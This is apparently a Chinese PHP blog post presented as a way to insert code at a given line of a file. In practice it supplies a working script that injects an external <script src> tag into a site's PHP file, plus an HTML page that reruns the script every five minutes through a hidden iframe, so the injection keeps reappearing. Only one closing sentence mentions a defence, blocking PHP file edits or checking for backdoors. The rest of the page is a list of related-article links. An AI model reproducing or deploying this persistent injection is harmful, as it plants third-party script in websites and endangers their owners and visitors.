php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
无限级别菜单的实现
Oct 09 PHP
在mysql数据库原有字段后增加新内容
Nov 26 PHP
PHP中数组合并的两种方法及区别介绍
Sep 14 PHP
PHP 循环删除无限分类子节点的实现代码
Jun 21 PHP
php中出现空白页的原因及解决方法汇总
Jul 08 PHP
PHP实用函数分享之去除多余的0
Feb 06 PHP
PHP实现加密的几种方式介绍
Feb 22 PHP
PHP使用递归生成文章树
Apr 21 PHP
php使用Jpgraph创建折线图效果示例
Feb 15 PHP
PHP判断函数是否被定义的方法
Jun 21 PHP
解决laravel上传图片之后,目录有图片,但是访问不到(404)的问题
Oct 14 PHP
laravel5.1 ajax post 传值_token示例
Oct 24 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
初学者入门:细述PHP4的核心Zend
2006/09/05 PHP
基于Jquery的开发个代阴影的对话框效果代码
2011/07/28 Javascript
关于js中alert弹出窗口文本换行问题简单详细说明
2012/12/11 Javascript
Javascript中自动切换焦点实现代码
2012/12/15 Javascript
json数据处理技巧(字段带空格、增加字段、排序等等)
2013/06/14 Javascript
深入探讨JavaScript、JQuery屏蔽网页鼠标右键菜单及禁止选择复制
2014/06/10 Javascript
JS获取网页图片name属性的方法
2015/04/01 Javascript
JavaScript更改字符串的大小写
2015/05/07 Javascript
JavaScript实现打字效果的方法
2015/07/10 Javascript
简介BootStrap model弹出框的使用
2016/04/27 Javascript
javascript中利用柯里化函数实现bind方法
2016/04/29 Javascript
微信小程序 详解下拉加载与上拉刷新实现方法
2017/01/13 Javascript
微信小程序 PHP生成带参数二维码
2017/02/21 Javascript
浅谈js中startsWith 函数不能在任何浏览器兼容的问题
2017/03/01 Javascript
在javaScript中检测数据类型的几种方式小结
2017/03/04 Javascript
vue 2.0路由之路由嵌套示例详解
2017/05/08 Javascript
vuejs使用递归组件实现树形目录的方法
2017/09/30 Javascript
Vue 动态设置路由参数的案例分析
2018/04/24 Javascript
vue-content-loader内容加载器的使用方法
2018/08/05 Javascript
vue项目中使用bpmn为节点添加颜色的方法
2020/04/30 Javascript
vue结合el-upload实现腾讯云视频上传功能
2020/07/01 Javascript
深入解析Python中函数的参数与作用域
2016/03/20 Python
Python将图片批量从png格式转换至WebP格式
2020/08/22 Python
go和python变量赋值遇到的一个问题
2017/08/31 Python
基于Django模板中的数字自增(详解)
2017/09/05 Python
Python编程求质数实例代码
2018/01/31 Python
浅谈Python中的作用域规则和闭包
2018/03/20 Python
keras的三种模型实现与区别说明
2020/07/03 Python
Python限制内存和CPU使用量的方法(Unix系统适用)
2020/08/04 Python
澳大利亚旅游网站:Lastminute
2017/08/07 全球购物
高级运动鞋:GREATS
2019/07/19 全球购物
工程概预算专业毕业生求职信
2013/10/04 职场文书
公司新员工的演讲稿注意事项
2014/01/01 职场文书
机修工工作职责
2014/02/21 职场文书
2015年大学生暑期实习报告
2015/07/13 职场文书
python3 hdf5文件 遍历代码
2021/05/19 Python